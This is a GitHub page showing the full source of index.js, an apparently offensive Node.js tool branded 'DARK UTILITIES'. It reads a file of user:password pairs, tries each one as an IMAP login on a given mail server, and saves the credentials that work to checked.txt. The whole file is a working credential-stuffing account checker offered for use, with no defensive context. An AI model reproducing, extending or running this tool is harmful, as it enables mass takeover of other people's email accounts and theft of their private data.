-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathindex.js
72 lines (60 loc) · 2.24 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
const fs = require('fs');
const path = require('path');
const Imap = require('imap');
const chalk = require('chalk');
console.log(chalk.red(`
╔╦╗╔═╗╦═╗╦╔═ ╦ ╦╔╦╗╦╦ ╦╔╦╗╦╔═╗╔═╗
║║╠═╣╠╦╝╠╩╗ ║ ║ ║ ║║ ║ ║ ║║╣ ╚═╗
═╩╝╩ ╩╩╚═╩ ╩ ╚═╝ ╩ ╩╩═╝╩ ╩ ╩╚═╝╚═╝
The power on your side
`))
class Main {
static formatConsoleDate(date) {
var hour = date.getHours();
var minutes = date.getMinutes();
var seconds = date.getSeconds();
var milliseconds = date.getMilliseconds();
return '[' +
((hour < 10) ? '0' + hour : hour) +
':' +
((minutes < 10) ? '0' + minutes : minutes) +
':' +
((seconds < 10) ? '0' + seconds : seconds) +
'.' +
('00' + milliseconds).slice(-3) +
'] ';
}
static GetArgs() {
return process.argv.slice(2);
}
}
if (Main.GetArgs().length < 3) {
console.log(`${chalk.red("[ERROR]")} bad command usage
${chalk.yellow('Usage Sheme:')}
- user@some_name:~# node ${path.basename(__filename)} <server> <port> <file>
`);
process.exit(0);
}
fs.readFile("./" + Main.GetArgs()[2], "utf8", (err, data) => {
data.split("\r\n").forEach(item => {
var imap = new Imap({
user: item.split(":")[0],
password: item.split(":")[1],
host: Main.GetArgs()[0],
port: Main.GetArgs()[1],
tls: true
});
imap.once('ready', function() {
console.log(chalk.hex('#d6af42')(Main.formatConsoleDate(new Date())) + chalk.green(item.split(":")[0] + " Saved to checked.txt ."))
fs.appendFile('./checked.txt', `${item.split(":")[0]}:${item.split(":")[1]} \r\n`, function (err) {
if (err) return console.log(err);
});
imap.end();
});
imap.once('error', function(err) {
console.log(chalk.hex('#d6af42')(Main.formatConsoleDate(new Date())) + chalk.red(item.split(":")[0] + " error while connecting."))
imap.end();
});
imap.connect();
});
});